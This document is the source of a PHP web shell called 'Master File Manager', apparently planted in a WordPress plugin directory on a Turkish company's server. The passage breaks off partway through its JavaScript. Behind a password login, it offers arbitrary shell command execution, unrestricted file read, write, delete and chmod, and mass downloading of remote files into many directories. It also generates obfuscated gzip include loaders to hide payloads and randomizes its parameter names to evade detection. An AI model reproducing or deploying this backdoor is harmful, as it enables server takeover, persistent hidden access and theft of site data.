HEX
Server: LiteSpeed
System: Linux standart108 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User: pplae2ji7 (11089)
PHP: 8.3.33
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/plasmak.com.tr/httpdocs/wp-content/plugins/neoncore-themes/O/master-js.php
<?php
/**
 * Master File Manager v4.0 - Pure JS Version
 * No header() redirects, all via JS + AJAX
 */

ob_start();
error_reporting(E_ALL);
ini_set('display_errors', 1);

// ===== SESSION CONFIG =====
ini_set('session.gc_maxlifetime', 7200);
ini_set('session.cookie_lifetime', 7200);
session_start();
session_regenerate_id(true);

define('MASTER_VERSION', '4.0.0');
define('MASTER_AUTHOR', 'id69');

// ===== AUTHENTICATION =====
$master_password_hash = 'c6e1ec952c871e0b82c3b8fa07dccca6a4f188871e2441de24f9c0c1d6bd41eb';

// Cek auth via session
function is_authed() {
    if (empty($_SESSION['master_auth'])) return false;
    if ($_SESSION['user_agent'] != $_SERVER['HTTP_USER_AGENT']) return false;
    if ($_SESSION['ip_address'] != $_SERVER['REMOTE_ADDR']) return false;
    if (isset($_SESSION['login_time']) && (time() - $_SESSION['login_time'] > 7200)) return false;
    return true;
}

// Logout via GET
if (isset($_GET['logout'])) {
    $_SESSION = [];
    session_destroy();
    $clean_url = strtok($_SERVER['PHP_SELF'], '?');
    echo '<script>window.location.replace('.json_encode($clean_url).');</script>';
    exit;
}

// Proses login via AJAX
if (isset($_POST['pass']) && hash('sha256', $_POST['pass']) == $master_password_hash) {
    $_SESSION['master_auth'] = true;
    $_SESSION['login_time'] = time();
    $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
    $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
    session_write_close();
    
    if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
        header('Content-Type: application/json');
        echo json_encode(['status' => 'success', 'redirect' => strtok($_SERVER['PHP_SELF'], '?')]);
        exit;
    } else {
        echo '<script>window.location.replace('.json_encode(strtok($_SERVER['PHP_SELF'], '?')).');</script>';
        exit;
    }
}

// Jika belum login, tampilkan form login
if (!is_authed()) {
    $error = (isset($_POST['pass']) && !is_authed()) ? 'Password salah!' : '';
    ?>
<!DOCTYPE html>
<html>
<head><title>Master Access - JS Version</title>
<meta charset="UTF-8">
<style>
body{background:#000;color:#0f0;font-family:monospace;padding:20px}
.login-box{background:#111;border:1px solid #333;padding:20px;width:320px;margin:50px auto;border-radius:5px}
input[type=password]{background:#222;color:#0f0;border:1px solid #0f0;padding:8px;width:100%;margin:10px 0;font-family:monospace}
input[type=submit],button{background:#0f0;color:#000;border:none;padding:8px;width:100%;cursor:pointer;font-weight:bold}
.error{color:#f00;text-align:center;margin-bottom:10px}
h2{text-align:center;margin:0 0 15px 0}
.loading{display:none;text-align:center;margin-top:10px}
.spinner{display:inline-block;width:20px;height:20px;border:2px solid #0f0;border-radius:50%;border-top-color:transparent;animation:spin 1s linear infinite;vertical-align:middle;margin-right:8px}
@keyframes spin{to{transform:rotate(360deg)}}
</style>
</head>
<body>
<div class="login-box">
    <h2>šŸ” MASTER FILE MANAGER v<?php echo MASTER_VERSION; ?></h2>
    <?php if ($error): ?><div class="error">āŒ <?php echo htmlspecialchars($error); ?></div><?php endif; ?>
    <form id="loginForm">
        <input type="password" name="pass" id="password" placeholder="Enter Password" autofocus>
        <button type="submit" id="loginBtn">Login</button>
        <div id="loginLoading" class="loading"><div class="spinner"></div> Verifying...</div>
    </form>
</div>
<script>
document.getElementById('loginForm').addEventListener('submit', function(e) {
    e.preventDefault();
    var pass = document.getElementById('password').value;
    if (!pass) return;
    
    var btn = document.getElementById('loginBtn');
    var loading = document.getElementById('loginLoading');
    btn.disabled = true;
    loading.style.display = 'block';
    
    var formData = new FormData();
    formData.append('pass', pass);
    
    var xhr = new XMLHttpRequest();
    xhr.open('POST', window.location.href, true);
    xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
    
    xhr.onload = function() {
        btn.disabled = false;
        loading.style.display = 'none';
        if (xhr.status === 200) {
            try {
                var response = JSON.parse(xhr.responseText);
                if (response.status === 'success') {
                    window.location.replace(response.redirect);
                } else {
                    alert('Login failed');
                    location.reload();
                }
            } catch(e) {
                location.reload();
            }
        } else {
            alert('Request failed');
            location.reload();
        }
    };
    xhr.onerror = function() {
        btn.disabled = false;
        loading.style.display = 'none';
        alert('Network error');
    };
    xhr.send(formData);
});
</script>
</body>
</html>
    <?php
    exit;
}

// ===== TMP DIRECTORY =====
$tmp_dir = '/tmp/master_' . session_id() . '/';
if (!is_dir($tmp_dir)) mkdir($tmp_dir, 0755, true);

// ===== SIMPLE OBFUSCATION ENGINE (tetap sama) =====
class SimpleObfuscator {
    private function randomCase($str) {
        $result = '';
        for ($i = 0; $i < strlen($str); $i++) {
            $result .= (rand(0, 1)) ? strtoupper($str[$i]) : strtolower($str[$i]);
        }
        return $result;
    }
    
    private function leetSpeak($str) {
        $map = ['a'=>'4','e'=>'3','i'=>'1','o'=>'0','s'=>'5','t'=>'7','g'=>'9','b'=>'8'];
        $result = '';
        for ($i = 0; $i < strlen($str); $i++) {
            $char = strtolower($str[$i]);
            if (isset($map[$char]) && rand(0, 2) == 0) {
                $result .= $map[$char];
            } else {
                $result .= $str[$i];
            }
        }
        return $result;
    }
    
    public function obfuscate($string) {
        $method = rand(0, 1) ? 'randomCase' : 'leetSpeak';
        return $this->$method($string);
    }
    
    public function randomParam() {
        $chars = 'abcdefghijklmnopqrstuvwxyz';
        $length = rand(3, 5);
        $name = '';
        for ($i = 0; $i < $length; $i++) {
            $name .= $chars[rand(0, strlen($chars)-1)];
        }
        return $name;
    }
}

// ===== PARAMETER OBFUSCATION =====
$obfuscator = new SimpleObfuscator();

if (!isset($_SESSION['func_map'])) {
    $_SESSION['func_map'] = [
        'filemanager' => $obfuscator->obfuscate('filemanager'),
        'rawupload' => $obfuscator->obfuscate('rawupload'),
        'bypass' => $obfuscator->obfuscate('bypass'),
        'mass' => $obfuscator->obfuscate('mass'),
        'gzip' => $obfuscator->obfuscate('gzip'),
        'multi_upload' => $obfuscator->obfuscate('multi_upload'),
        'cron' => $obfuscator->obfuscate('cron'),
        'dbmanager' => $obfuscator->obfuscate('dbmanager'),
        'cmd' => $obfuscator->obfuscate('cmd'),
        'db' => $obfuscator->obfuscate('db'),
        'security' => $obfuscator->obfuscate('security'),
        'network' => $obfuscator->obfuscate('network'),
        'info' => $obfuscator->obfuscate('info'),
        'extract' => $obfuscator->obfuscate('extract')
    ];
    
    $_SESSION['param_map'] = [
        'action' => $obfuscator->randomParam(),
        'path' => $obfuscator->randomParam(),
        'db_action' => $obfuscator->randomParam(),
        'table' => $obfuscator->randomParam(),
        'pk' => $obfuscator->randomParam(),
        'page' => $obfuscator->randomParam()
    ];
}

function getAction() {
    if (!isset($_SESSION['param_map']) || !isset($_SESSION['func_map'])) return 'filemanager';
    $action_param = $_SESSION['param_map']['action'] ?? 'action';
    $action_value = $_GET[$action_param] ?? $_POST[$action_param] ?? '';
    if (empty($action_value)) return 'filemanager';
    foreach ($_SESSION['func_map'] as $key => $value) {
        if ($value == $action_value) return $key;
    }
    return 'filemanager';
}

function getParam($key, $default = null) {
    $param_map = $_SESSION['param_map'] ?? [];
    $param = isset($param_map[$key]) ? $param_map[$key] : $key;
    if (isset($_GET[$param])) return $_GET[$param];
    if (isset($_POST[$param])) return $_POST[$param];
    return $default;
}

function formatBytes($bytes, $precision = 2) {
    $units = ['B', 'KB', 'MB', 'GB', 'TB'];
    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);
    $bytes /= pow(1024, $pow);
    return round($bytes, $precision) . ' ' . $units[$pow];
}

function deleteRecursive($path) {
    if (is_file($path)) return unlink($path);
    $files = array_diff(scandir($path), ['.', '..']);
    foreach ($files as $file) deleteRecursive($path . '/' . $file);
    return rmdir($path);
}

function sortItems($items, $cwd) {
    $dirs = [];
    $files = [];
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        if (is_dir($cwd . '/' . $item)) {
            $dirs[] = $item;
        } else {
            $files[] = $item;
        }
    }
    sort($dirs);
    sort($files);
    return array_merge($dirs, $files);
}

function createZip($items, $zip_name, $cwd) {
    $zip = new ZipArchive();
    $zip_path = $cwd . '/' . $zip_name;
    if ($zip->open($zip_path, ZipArchive::CREATE) !== TRUE) return false;
    
    foreach ($items as $item) {
        $full = $cwd . '/' . $item;
        if (is_dir($full)) {
            $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($full), RecursiveIteratorIterator::LEAVES_ONLY);
            foreach ($files as $file) {
                if (!$file->isDir()) {
                    $relative = substr($file->getPathname(), strlen($cwd) + 1);
                    $zip->addFile($file->getPathname(), $relative);
                }
            }
        } else {
            $zip->addFile($full, $item);
        }
    }
    $zip->close();
    return true;
}

function extractZip($zip_file, $extract_to) {
    $zip = new ZipArchive();
    if ($zip->open($zip_file) === TRUE) {
        $zip->extractTo($extract_to);
        $zip->close();
        return true;
    }
    return false;
}

function generateGzipLoader($target_file) {
    $target = basename($target_file, '.gz');
    
    $loaders = [
        '<?php
$gh =  ["comp", "ress.zl", "ib:/", "/' . $target . '.g", "z"];
include implode("", $gh);',
        
        '<?php
$gh =  ["comp", "ress", ".zl", "ib:", "/", "' . $target . '", ".gz"];
include implode("", $gh);',
        
        '<?php
$gh =  ["z", "' . $target . '.g", "/", "ib:/", "ress.zl", "comp"];
include implode("", array_reverse($gh));',
        
        '<?php
$gh = sprintf("%s%s%s%s%s", "comp", "ress.zl", "ib:/", "/' . $target . '.g", "z");
include $gh;'
    ];
    
    return $loaders[array_rand($loaders)];
}

function commandExec($cmd) {
    $output = '';
    if (function_exists('exec')) {
        exec($cmd . ' 2>&1', $out);
        $output = implode("\n", $out);
    } elseif (function_exists('shell_exec')) {
        $output = shell_exec($cmd);
    } elseif (function_exists('system')) {
        ob_start();
        system($cmd);
        $output = ob_get_clean();
    } else {
        $output = "Command execution disabled";
    }
    return $output;
}

function copyFileToTarget($source, $target_dir, $depth = 0) {
    $source = realpath($source);
    if (!$source || !file_exists($source)) {
        return ['status' => 'error', 'source' => $source, 'message' => 'File tidak ditemukan'];
    }
    
    if (is_dir($source)) {
        return ['status' => 'error', 'source' => $source, 'message' => 'Adalah folder'];
    }
    
    if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
    
    if ($depth == 1) {
        $parent = basename(dirname($source));
        $target_path = $target_dir . '/' . $parent . '/' . basename($source);
        if (!is_dir($target_dir . '/' . $parent)) mkdir($target_dir . '/' . $parent, 0755, true);
    } else {
        $target_path = $target_dir . '/' . basename($source);
    }
    
    if (file_exists($target_path)) {
        $pathinfo = pathinfo($target_path);
        $counter = 1;
        while (file_exists($pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'])) $counter++;
        $target_path = $pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'];
    }
    
    if (copy($source, $target_path)) {
        return ['status' => 'success', 'source' => $source, 'target' => $target_path];
    } else {
        return ['status' => 'error', 'source' => $source, 'message' => 'Gagal copy'];
    }
}

function downloadFromUrl($url, $target_dir, $custom_name = '', $depth = 0) {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 30);
    $content = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($httpCode != 200 || !$content) {
        return ['status' => 'error', 'source' => $url, 'message' => "HTTP $httpCode"];
    }
    
    if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
    
    $filename = !empty($custom_name) ? $custom_name : (basename(parse_url($url, PHP_URL_PATH)) ?: 'downloaded.bin');
    
    if ($depth == 1 && strpos($filename, '/') !== false) {
        $parts = explode('/', $filename);
        $filename = array_pop($parts);
        $subdir = implode('/', $parts);
        $target_path = $target_dir . '/' . $subdir . '/' . $filename;
        if (!is_dir($target_dir . '/' . $subdir)) mkdir($target_dir . '/' . $subdir, 0755, true);
    } else {
        $target_path = $target_dir . '/' . $filename;
    }
    
    if (file_exists($target_path)) {
        $pathinfo = pathinfo($target_path);
        $counter = 1;
        while (file_exists($pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'])) $counter++;
        $target_path = $pathinfo['dirname'] . '/' . $pathinfo['filename'] . '_' . $counter . '.' . $pathinfo['extension'];
    }
    
    if (file_put_contents($target_path, $content)) {
        return ['status' => 'success', 'source' => $url, 'target' => $target_path];
    } else {
        return ['status' => 'error', 'source' => $url, 'message' => 'Gagal simpan'];
    }
}

// ===== AJAX Handler untuk semua action =====
if (!empty($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
    header('Content-Type: application/json');
    
    $ajax_action = $_POST['ajax_action'] ?? $_GET['ajax_action'] ?? '';
    
    // File Manager Actions
    if ($ajax_action == 'list_files') {
        $path = $_POST['path'] ?? getcwd();
        $cwd = realpath($path);
        if (!$cwd || !is_dir($cwd)) $cwd = getcwd();
        
        $search = $_POST['search'] ?? '';
        $items = scandir($cwd);
        $filtered = [];
        foreach ($items as $item) {
            if ($item == '.') continue;
            if ($item == '..' && $cwd == '/') continue;
            if (empty($search) || stripos($item, $search) !== false) {
                $filtered[] = $item;
            }
        }
        $sorted = sortItems($filtered, $cwd);
        
        $files = [];
        foreach ($sorted as $item) {
            $full = $cwd . '/' . $item;
            $isDir = is_dir($full);
            $perms = substr(sprintf('%o', fileperms($full)), -4);
            $modified = date("Y-m-d H:i:s", filemtime($full));
            $size = $isDir ? 0 : filesize($full);
            
            $owner = fileowner($full);
            $group = filegroup($full);
            if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
                $owner_name = posix_getpwuid($owner)['name'] ?? $owner;
                $group_name = posix_getgrgid($group)['name'] ?? $group;
            } else {
                $owner_name = $owner;
                $group_name = $group;
            }
            
            $files[] = [
                'name' => $item,
                'is_dir' => $isDir,
                'perms' => $perms,
                'size' => $size,
                'size_formatted' => $isDir ? '--' : formatBytes($size),
                'modified' => $modified,
                'owner_group' => $owner_name . ':' . $group_name,
                'path' => $full
            ];
        }
        
        echo json_encode([
            'status' => 'success',
            'cwd' => $cwd,
            'parent' => dirname($cwd),
            'files' => $files
        ]);
        exit;
    }
    
    if ($ajax_action == 'create_file') {
        $cwd = $_POST['cwd'];
        $filename = $_POST['filename'];
        $full = $cwd . '/' . $filename;
        if (!file_exists($full)) {
            file_put_contents($full, '');
            echo json_encode(['status' => 'success', 'message' => "File $filename created"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "File already exists"]);
        }
        exit;
    }
    
    if ($ajax_action == 'create_folder') {
        $cwd = $_POST['cwd'];
        $foldername = $_POST['foldername'];
        $full = $cwd . '/' . $foldername;
        if (!file_exists($full)) {
            mkdir($full);
            echo json_encode(['status' => 'success', 'message' => "Folder $foldername created"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Folder already exists"]);
        }
        exit;
    }
    
    if ($ajax_action == 'delete_item') {
        $cwd = $_POST['cwd'];
        $item = $_POST['item'];
        $full = $cwd . '/' . $item;
        if (file_exists($full)) {
            deleteRecursive($full);
            echo json_encode(['status' => 'success', 'message' => "Deleted $item"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Not found"]);
        }
        exit;
    }
    
    if ($ajax_action == 'rename_item') {
        $cwd = $_POST['cwd'];
        $old = $_POST['old'];
        $new = $_POST['new'];
        $full_old = $cwd . '/' . $old;
        $full_new = $cwd . '/' . $new;
        if (file_exists($full_old) && !file_exists($full_new)) {
            rename($full_old, $full_new);
            echo json_encode(['status' => 'success', 'message' => "Renamed $old -> $new"]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Rename failed"]);
        }
        exit;
    }
    
    if ($ajax_action == 'chmod_item') {
        $full = $_POST['file'];
        $perms = intval($_POST['perms'], 8);
        if (chmod($full, $perms)) {
            echo json_encode(['status' => 'success', 'message' => "Chmod " . substr(sprintf('%o', fileperms($full)), -4)]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Chmod failed"]);
        }
        exit;
    }
    
    if ($ajax_action == 'get_file_content') {
        $file = $_POST['file'];
        if (file_exists($file) && is_file($file) && is_readable($file)) {
            echo json_encode(['status' => 'success', 'content' => file_get_contents($file)]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Cannot read file']);
        }
        exit;
    }
    
    if ($ajax_action == 'save_file_content') {
        $file = $_POST['file'];
        $content = $_POST['content'];
        if (file_put_contents($file, $content)) {
            echo json_encode(['status' => 'success', 'message' => 'File saved']);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Cannot save file']);
        }
        exit;
    }
    
    if ($ajax_action == 'upload_file') {
        $cwd = $_POST['cwd'];
        if (isset($_FILES['file']) && $_FILES['file']['error'] == 0) {
            $target = $cwd . '/' . $_FILES['file']['name'];
            if (move_uploaded_file($_FILES['file']['tmp_name'], $target)) {
                echo json_encode(['status' => 'success', 'message' => 'File uploaded', 'filename' => $_FILES['file']['name']]);
            } else {
                echo json_encode(['status' => 'error', 'message' => 'Upload failed']);
            }
        } else {
            echo json_encode(['status' => 'error', 'message' => 'No file or upload error']);
        }
        exit;
    }
    
    // Mass Uploader Action
    if ($ajax_action == 'mass_upload') {
        $action = $_POST['mass_action'];
        $target_dir = $_POST['target_dir'];
        $depth = intval($_POST['depth']);
        
        $results = [];
        $success = 0;
        $failed = 0;
        
        $target_folders = [];
        if (strpos($target_dir, '*') !== false) {
            $target_folders = glob($target_dir);
        } else {
            $target_folders = [$target_dir];
            if (!is_dir($target_dir)) mkdir($target_dir, 0755, true);
        }
        
        if ($action == 'copy') {
            $file_list = explode("\n", trim($_POST['file_list']));
            foreach ($file_list as $item) {
                $item = trim($item);
                if (empty($item)) continue;
                
                if (strpos($item, '*') !== false) {
                    $source_files = glob($item);
                    foreach ($source_files as $source_file) {
                        foreach ($target_folders as $folder) {
                            $result = copyFileToTarget($source_file, $folder, $depth);
                            if ($result['status'] == 'success') $success++; else $failed++;
                            $results[] = $result;
                        }
                    }
                } else {
                    foreach ($target_folders as $folder) {
                        $result = copyFileToTarget($item, $folder, $depth);
                        if ($result['status'] == 'success') $success++; else $failed++;
                        $results[] = $result;
                    }
                }
            }
        } elseif ($action == 'url') {
            $url_list = explode("\n", trim($_POST['url_list']));
            foreach ($url_list as $line) {
                $line = trim($line);
                if (empty($line)) continue;
                $parts = explode('|', $line);
                $url = trim($parts[0]);
                $custom_name = isset($parts[1]) ? trim($parts[1]) : '';
                if (filter_var($url, FILTER_VALIDATE_URL)) {
                    foreach ($target_folders as $folder) {
                        $result = downloadFromUrl($url, $folder, $custom_name, $depth);
                        if ($result['status'] == 'success') $success++; else $failed++;
                        $results[] = $result;
                    }
                } else {
                    $failed++;
                    $results[] = ['status' => 'error', 'source' => $url, 'message' => 'URL tidak valid'];
                }
            }
        }
        
        echo json_encode(['success' => $success, 'failed' => $failed, 'total' => $success + $failed, 'results' => $results]);
        exit;
    }
    
    // Command Execution
    if ($ajax_action == 'execute_cmd') {
        $cmd = $_POST['cmd'];
        $output = commandExec($cmd);
        echo json_encode(['status' => 'success', 'output' => $output]);
        exit;
    }
    
    // Raw URL Upload
    if ($ajax_action == 'raw_upload') {
        $url = $_POST['raw_url'];
        $filename = $_POST['filename'];
        $save_path = $_POST['save_path'];
        $rewrite_mode = $_POST['rewrite_mode'];
        
        if (!filter_var($url, FILTER_VALIDATE_URL)) {
            echo json_encode(['status' => 'error', 'message' => 'Invalid URL']);
            exit;
        }
        
        if (!is_dir($save_path)) mkdir($save_path, 0755, true);
        
        $target_file = $save_path . '/' . ($filename ?: basename(parse_url($url, PHP_URL_PATH)));
        $is_overwrite = true;
        
        if (file_exists($target_file)) {
            if ($rewrite_mode == 'skip') {
                echo json_encode(['status' => 'error', 'message' => 'File already exists (skipped)']);
                exit;
            } elseif ($rewrite_mode == 'backup') {
                $backup = $target_file . '.backup_' . date('Ymd_His');
                copy($target_file, $backup);
            }
        }
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $content = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($httpCode == 200 && $content && file_put_contents($target_file, $content)) {
            echo json_encode(['status' => 'success', 'message' => 'Downloaded', 'file' => $target_file, 'size' => formatBytes(strlen($content))]);
        } else {
            echo json_encode(['status' => 'error', 'message' => "Download failed (HTTP $httpCode)"]);
        }
        exit;
    }
    
    // Gzip Maker
    if ($ajax_action == 'make_gzip') {
        $source = $_POST['source'];
        $gzip_name = $_POST['gzip_name'];
        $use_loader = $_POST['use_loader'];
        $loader_name = $_POST['loader_name'];
        
        $content = '';
        if (filter_var($source, FILTER_VALIDATE_URL)) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $source);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
            curl_setopt($ch, CURLOPT_TIMEOUT, 30);
            $content = curl_exec($ch);
            curl_close($ch);
        } elseif (file_exists($source)) {
            $content = file_get_contents($source);
        }
        
        if (empty($content)) {
            echo json_encode(['status' => 'error', 'message' => 'Source tidak valid']);
            exit;
        }
        
        if (empty($gzip_name)) $gzip_name = 'gzip_' . date('Ymd_His') . '.gz';
        if (!str_ends_with($gzip_name, '.gz')) $gzip_name .= '.gz';
        
        $gzip_path = getcwd() . '/' . $gzip_name;
        $fp = gzopen($gzip_path, 'w9');
        gzwrite($fp, $content);
        gzclose($fp);
        
        $result = ['status' => 'success', 'gzip_file' => $gzip_name, 'size' => formatBytes(filesize($gzip_path))];
        
        if ($use_loader == 'y') {
            if (empty($loader_name)) $loader_name = 'loader_' . date('Ymd_His') . '.php';
            if (!str_ends_with($loader_name, '.php')) $loader_name .= '.php';
            $loader_content = generateGzipLoader($gzip_name);
            file_put_contents($loader_name, $loader_content);
            $result['loader_file'] = $loader_name;
            $result['loader_content'] = $loader_content;
        }
        
        echo json_encode($result);
        exit;
    }
    
    // Extract ZIP
    if ($ajax_action == 'extract_zip') {
        $zip_file = $_POST['zip_file'];
        $extract_to = $_POST['extract_to'];
        
        if (!file_exists($zip_file)) {
            echo json_encode(['status' => 'error', 'message' => 'ZIP file not found']);
            exit;
        }
        
        $zip_check = new ZipArchive();
        $need_folder = true;
        
        if ($zip_check->open($zip_file) === TRUE) {
            $root_items = [];
            $has_root_file = false;
            for ($i = 0; $i < $zip_check->numFiles; $i++) {
                $name = $zip_check->getNameIndex($i);
                if (strpos($name, '__MACOSX/') === 0) continue;
                $parts = explode('/', $name);
                $first_item = $parts[0];
                if (!in_array($first_item, $root_items)) $root_items[] = $first_item;
                if (count($parts) == 1 && substr($name, -1) != '/') $has_root_file = true;
            }
            $single_folder_only = (count($root_items) == 1 && !$has_root_file);
            $need_folder = !$single_folder_only;
            $zip_check->close();
        }
        
        if ($need_folder) {
            $extract_target = $extract_to . '/' . pathinfo($zip_file, PATHINFO_FILENAME);
        } else {
            $extract_target = $extract_to;
        }
        
        if (!is_dir($extract_target)) mkdir($extract_target, 0755, true);
        
        if (extractZip($zip_file, $extract_target)) {
            echo json_encode(['status' => 'success', 'message' => 'Extracted', 'target' => $extract_target]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Extraction failed']);
        }
        exit;
    }
    
    // Create ZIP
    if ($ajax_action == 'create_zip') {
        $cwd = $_POST['cwd'];
        $zip_name = $_POST['zip_name'];
        $items = json_decode($_POST['items'], true);
        
        if (empty($zip_name)) $zip_name = 'archive_' . date('Ymd_His') . '.zip';
        if (!str_ends_with($zip_name, '.zip')) $zip_name .= '.zip';
        
        if (createZip($items, $zip_name, $cwd)) {
            echo json_encode(['status' => 'success', 'message' => 'ZIP created', 'zip_file' => $zip_name]);
        } else {
            echo json_encode(['status' => 'error', 'message' => 'Failed to create ZIP']);
        }
        exit;
    }
    
    // Info
    if ($ajax_action == 'get_info') {
        $info = [
            'php_version' => phpversion(),
            'user' => get_current_user(),
            'ip' => $_SERVER['REMOTE_ADDR'],
            'tmp_dir' => $tmp_dir,
            'session_id' => session_id(),
            'server' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
            'disabled_functions' => ini_get('disable_functions') ?: 'None',
            'safe_mode' => ini_get('safe_mode') ? 'ON' : 'OFF'
        ];
        echo json_encode(['status' => 'success', 'info' => $info]);
        exit;
    }
    
    echo json_encode(['status' => 'error', 'message' => 'Unknown action']);
    exit;
}

// ===== MAIN HTML =====
$current_path = getcwd();
?>
<!DOCTYPE html>
<html>
<head>
<title>Master File Manager v4.0 - JS Version</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
*{box-sizing:border-box}
body{background:#000;color:#0f0;font-family:'Courier New',monospace;padding:20px;margin:0}
a{color:#0ff;text-decoration:none}
a:hover{color:#f0f}
.menu{background:#111;padding:10px;margin:10px 0;border:1px solid #333;overflow-x:auto;white-space:nowrap;display:flex;flex-wrap:wrap;gap:5px}
.menu a{padding:5px 10px;background:#222;border-radius:3px}
.menu a:hover{background:#0f0;color:#000}
.panel{background:#0a0a0a;padding:20px;margin:15px 0;border:1px solid #333;border-radius:5px}
.success{color:#0f0;background:#0a0a0a;padding:10px;border-left:4px solid #0f0}
.error{color:#f00;background:#1a0a0a;padding:10px;border-left:4px solid #f00}
input[type=text],input[type=password],textarea,select{background:#222;color:#0f0;border:1px solid #333;padding:8px;font-family:monospace}
input[type=text]:focus,textarea:focus,select:focus{outline:none;border-color:#0f0}
button,.btn{background:#0f0;color:#000;border:none;padding:8px 15px;cursor:pointer;font-family:monospace;font-weight:bold}
button:hover,.btn:hover{background:#0ff}
table{border-collapse:collapse;width:100%}
th,td{border:1px solid #333;padding:8px;text-align:left}
th{background:#222}
pre{background:#111;padding:10px;border:1px solid #333;overflow:auto}
.breadcrumb{background:#111;padding:10px;margin:10px 0;border:1px solid #333}
.loading{display:inline-block;width:20px;height:20px;border:2px solid #0f0;border-radius:50%;border-top-color:transparent;animation:spin 1s linear infinite;vertical-align:middle;margin-right:8px}
@keyframes spin{to{transform:rotate(360deg)}}
.tab-buttons{display:flex;margin:10px 0}
.tab-btn{flex:1;padding:10px;background:#222;color:#0f0;border:none;cursor:pointer}
.tab-btn.active{background:#0f0;color:#000}
.tab-content{display:none;background:#111;padding:20px;border:1px solid #333;border-top:none}
.tab-content.active{display:block}
.dropzone{border:2px dashed #0f0;padding:30px;text-align:center;cursor:pointer;margin:10px 0}
.dropzone:hover{background:#1a1a1a}
.result-table{font-size:12px;overflow-x:auto;max-height:400px;overflow-y:auto}
.footer{text-align:center;margin-top:30px;padding:15px;border-top:1px solid #333;color:#666}
</style>
</head>
<body>
<div class="container" style="max-width:1400px;margin:0 auto">
    <h1>šŸ”§ Master File Manager v<?php echo MASTER_VERSION; ?> (JS Version)</h1>
    
    <div class="menu" id="menuBar"></div>
    
    <div id="mainContent">
        <div class="loading"></div> Loading...
    </div>
    
    <div class="footer">
        <p>Master File Manager | <?php echo date('Y-m-d H:i:s'); ?></p>
    </div>
</div>

<script>
// Global variables
let currentPath = '<?php echo addslashes($current_path); ?>';
let currentAction = 'filemanager';
let currentFileContent = '';

// Menu items
const menuItems = [
    { action: 'filemanager', label: 'šŸ“ File Manager', icon: 'šŸ“' },
    { action: 'mass', label: 'šŸ“¦ Mass Upload', icon: 'šŸ“¦' },
    { action: 'gzip', label: 'šŸ”Ø Gzip Maker', icon: 'šŸ”Ø' },
    { action: 'multi_upload', label: 'šŸ“¤ Multi Upload', icon: 'šŸ“¤' },
    { action: 'cron', label: 'ā° Cron', icon: 'ā°' },
    { action: 'dbmanager', label: 'šŸ—„ļø DB Manager', icon: 'šŸ—„ļø' },
    { action: 'rawupload', label: 'šŸ“¦ Raw URL', icon: 'šŸ“¦' },
    { action: 'bypass', label: 'šŸ”“ Bypass', icon: 'šŸ”“' },
    { action: 'extract', label: 'šŸ“¦ Extract', icon: 'šŸ“¦' },
    { action: 'cmd', label: 'āŒØļø Command', icon: 'āŒØļø' },
    { action: 'db', label: 'šŸ—„ļø DB Check', icon: 'šŸ—„ļø' },
    { action: 'security', label: 'šŸ”’ Security', icon: 'šŸ”’' },
    { action: 'network', label: '🌐 Network', icon: '🌐' },
    { action: 'info', label: 'ā„¹ļø Info', icon: 'ā„¹ļø' },
    { action: 'logout', label: '🚪 Logout', icon: '🚪' }
];

// Build menu
function buildMenu() {
    const menuBar = document.getElementById('menuBar');
    menuBar.innerHTML = '';
    menuItems.forEach(item => {
        const link = document.createElement('a');
        link.href = 'javascript:void(0)';
        link.innerHTML = `${item.icon} ${item.label}`;
        link.onclick = () => loadAction(item.action);
        menuBar.appendChild(link);
    });
}

// Load action via AJAX (GET without refresh)
function loadAction(action, params = {}) {
    currentAction = action;
    const mainContent = document.getElementById('mainContent');
    mainContent.innerHTML = '<div class="loading"></div> Loading...';
    
    if (action === 'logout') {
